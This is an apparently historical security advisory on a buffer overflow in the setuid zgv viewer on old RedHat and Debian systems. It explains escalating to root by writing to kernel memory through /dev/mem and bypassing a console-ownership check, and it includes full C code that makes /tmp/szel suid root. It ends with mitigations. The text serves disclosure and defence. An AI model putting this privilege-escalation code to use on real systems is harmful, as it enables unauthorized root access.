COMMAND

    zgv

SYSTEMS AFFECTED

    Linux RedHat 5.1, Debian (others?)

PROBLEM

    Paul Boehm found buffer overflow  in zgv.  More info  was provided
    by Nergal.  A small test: three questions. The answer for each  of
    them  lies  below  the  question.   3  correct answers equals hash
    prompt.   Nergal  tested  my  exploit  successfully  on zgv-3.0-4,
    which  is  shipped  with  redhat  5.1,  overflowing  with HOME env
    variable.

    Q1. Indeed, after the overflow our uid, euid, fsuid and saved  uid
        are non-zero.   But what  in fact  is "video  display access",
        what resources are required ?

    Answer 1. Besides  port   access  granted by ioperm/iopl,  svgalib
              needs write  access to  /dev/mem to  operate.  Therefore
              svgalib keeps an open descriptor (number three  usually)
              to  /dev/mem  (is  it  true  in  all cases?  can someone
              confirm that authoritatively ?).  So, we can modify  our
              uid (any  kernel structure  in fact)  by writing  to the
              kernel memory via  /dev/mem.  All  we need to  do in our
              shellcode is to exec a program which does:

              lseek(3,someoffset,SEEK_SET); write(3,"\000\000",2)

              where  someoffset  is  the  addres  of  our  uid  in our
              task_struct.

    Q2. Pure  technical  question:  How  do  I find the address of  my
        task_struct ?

    Answer 2. If you, carefull  reader, are older then 14,  you should
              remember LDT exploit.  Task_struct was pinpointed  using
              pattern matching.  This technique is very powerfull, can
              be harnessed as well  for locating struct module  in LKM
              which intends to  be invisible.   Yet there is  a better
              method.        We'll     reap     the     address     of
              struct task_struct * task[] from /proc/ksyms.  It's  not
              exported?  True.  However, in kernel/sched.c, line  107,
              we read:

              struct task_struct * task[NR_TASKS] = {&init_task, };
              struct kernel_stat kstat = { 0 };

              So, the address of task is NR_TASKS*sizeof(task_struct*)
              less then the address of kstat, which IS exported.  When
              we have this address, we just need to check pid of  each
              task struct for equality with  our pid.  The code  which
              writes to /dev/mem is enclosed at the end of this post.

    Q3 An  obstacle.  When  you  spawn  the exploit being logged  from
       another  system,  you'll  receive  a  message  "You must be the
       owner of  the current  console to  run zgv"  and zgv terminates
       before its  stack is  smashed. Indeed,  zgv tries  to limit the
       usage of itself, allowing to be  run only by the user who  owns
       current /dev/tty?  How can this check be bypassed?

    Answer 3. Launch X-server,  for instance  by running  X :1  & .  X
              server will change the current tty to the next free  one
              and make you owner of it, fooling zgv.

    The code.In order to make it  work, it needs little tuning.   Find
    in your /proc/ksyms the address of kstat and correct the value  in
    line 32.  As you  can see,  this code  attempts to  make /tmp/szel
    suid root.  BTW, if you don't enter this value properly, this code
    may  well  end  up  writing  stuff  to  random locations in kernel
    memory. Nermal does not neither  do I take any responsibility  for
    the damage it can  cause!!!  A note  for script kiddies &  idiots:
    you need  to compose  a prog  which overflows  zgv yourself,  then
    change usual /bin/sh to the code below.

    /* by Nergal */
    #define SEEK_SET 0

    #define __KERNEL__
    #include <linux/sched.h>
    #undef __KERNEL__

    #define SIZEOF sizeof(struct task_struct)

    int mem_fd;
    int mypid;

    void
    testtask (unsigned int mem_offset)
    {
      struct task_struct some_task;
      int uid, pid;
      lseek (mem_fd, mem_offset, SEEK_SET);
      read (mem_fd, &some_task, SIZEOF);
      if (some_task.pid == mypid)   /* is it our task_struct ? */
        {
          some_task.euid = 0;
          some_task.fsuid = 0;      /* needed for chown */
          lseek (mem_fd, mem_offset, SEEK_SET);
          write (mem_fd, &some_task, SIZEOF);
    /* from now on, there is no law beyond do what thou wilt */
          chown ("/tmp/szel", 0, 0);
          chmod ("/tmp/szel", 04755);
          exit (0);
        }
    }

    #define KSTAT 0x001ca90c
    main ()
    {
      unsigned int i;
      struct task_struct *task[NR_TASKS];
      unsigned int task_addr = KSTAT - NR_TASKS * 4;
      mem_fd = 3;                   /* presumed to be opened /dev/mem */
      mypid = getpid ();
      lseek (mem_fd, task_addr, SEEK_SET);
      read (mem_fd, task, NR_TASKS * 4);
      for (i = 0; i < NR_TASKS; i++)
        if (task[i])
          testtask ((unsigned int)(task[i]));

    }

SOLUTION

    The best solution seems  to be to remove  suid bit off zgv.  It is
    meant *grin* to  be run from  the console, and  the console access
    usually means root access anyway.  If you need to allow  untrusted
    users to use it, use StackGuard-ed version. Or read:

        http://www2.merton.ox.ac.uk/~security/security-audit-199807/0432.html

    (this is an excellent Solar Designer's post on some clever  method
    of securing to some extent strcpy's and related), add the enclosed
    header file to the end of  zgv.h and recompile. This will help  to
    defeat overflows only,  but they seem  to be the  only threat: zgv
    runs with unpriviledged uid (so no races and other fs tricks), and
    can't be ptraced (dumpable flag is set).  In Debiab 2.0r5 we  have
    zgv_2.8-4.1.deb buffer overflow patch applied.